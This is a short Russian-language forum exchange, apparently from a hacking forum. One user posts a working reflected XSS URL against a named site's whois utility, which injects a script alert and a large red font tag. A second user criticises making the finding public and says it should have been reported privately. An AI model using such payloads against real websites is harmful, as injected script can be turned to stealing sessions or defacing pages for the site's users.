вот нашел xss на ачате.ру http://antichat.ru/util/whois/index.php/\"><script>alert%20(/Hy_hakonec_to/)</script><font%20color=red%20size=100>Cgecb%206bIJI%209I=)</font>
Во ты гонишь =) Сказал бы по привату кому нада... И порешали бы вопрос цивильно =) А нах выкладывать в паблик? Пользы я не усмотрел =)